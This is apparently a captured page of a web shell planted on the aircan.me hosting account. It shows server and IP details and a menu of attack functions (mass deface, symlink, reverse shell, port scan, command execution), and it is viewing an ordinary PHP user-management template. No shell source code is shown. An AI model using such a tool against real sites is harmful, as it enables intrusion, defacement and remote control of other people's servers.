Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vnet
/
app
/
views
/
usuarios
/
Viewing: index.php
<?php declare(strict_types=1); // Vista: Usuarios. ?> <section class="page"> <header class="page__header page__header--with-actions"> <div> <h1 class="page__title">Usuarios</h1> <p class="page__subtitle">Gestión de usuarios y roles</p> </div> <div class="page__actions"> <a class="btn btn--primary" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/usuarios/create">Nuevo usuario</a> </div> </header> <?php if (!empty($flash) && is_array($flash)) : ?> <?php if (($flash['type'] ?? '') === 'success') : ?> <div class="alert alert--success"><?= htmlspecialchars((string)($flash['message'] ?? ''), ENT_QUOTES, 'UTF-8') ?></div> <?php else : ?> <div class="alert alert--error"><?= htmlspecialchars((string)($flash['message'] ?? ''), ENT_QUOTES, 'UTF-8') ?></div> <?php endif; ?> <?php endif; ?> <?php $currentId = (int)($_SESSION['usuario']['id'] ?? 0); ?> <div class="table-wrap"> <table class="table"> <thead> <tr> <th>Nombre</th> <th>Email</th> <th>Rol</th> <th>Estado</th> <th class="th-right">Acciones</th> </tr> </thead> <tbody> <?php if (empty($usuarios)) : ?> <tr> <td colspan="5" class="td-muted">No hay usuarios registrados.</td> </tr> <?php else : ?> <?php foreach ($usuarios as $u) : ?> <?php $id = (int)($u['id'] ?? 0); $rol = strtolower((string)($u['rol'] ?? '')); $activo = (int)($u['estado'] ?? 0) === 1; $isMe = $id === $currentId; ?> <tr> <td data-label="Nombre"><?= htmlspecialchars((string)($u['nombre'] ?? ''), ENT_QUOTES, 'UTF-8') ?></td> <td data-label="Email"><?= htmlspecialchars((string)($u['email'] ?? ''), ENT_QUOTES, 'UTF-8') ?></td> <td data-label="Rol"> <span class="badge <?= $rol === 'admin' ? 'badge--success' : 'badge--muted' ?>"> <?= $rol === 'admin' ? 'Admin' : 'Operador' ?> </span> </td> <td data-label="Estado"> <span class="badge <?= $activo ? 'badge--success' : 'badge--muted' ?>"> <?= $activo ? 'Activo' : 'Inactivo' ?> </span> </td> <td data-label="Acciones" class="td-right td-actions"> <a class="btn btn--secondary btn--sm" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/usuarios/edit/<?= $id ?>">Editar</a> <?php if ($isMe) : ?> <button class="btn btn--secondary btn--sm" type="button" disabled>Eliminar</button> <?php else : ?> <form method="post" action="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/usuarios/delete/<?= $id ?>" class="inline" data-confirm="¿Eliminar este usuario? Esta acción no se puede deshacer."> <button class="btn btn--danger btn--sm" type="submit">Eliminar</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </section>
Coded With 💗 by
0x6ick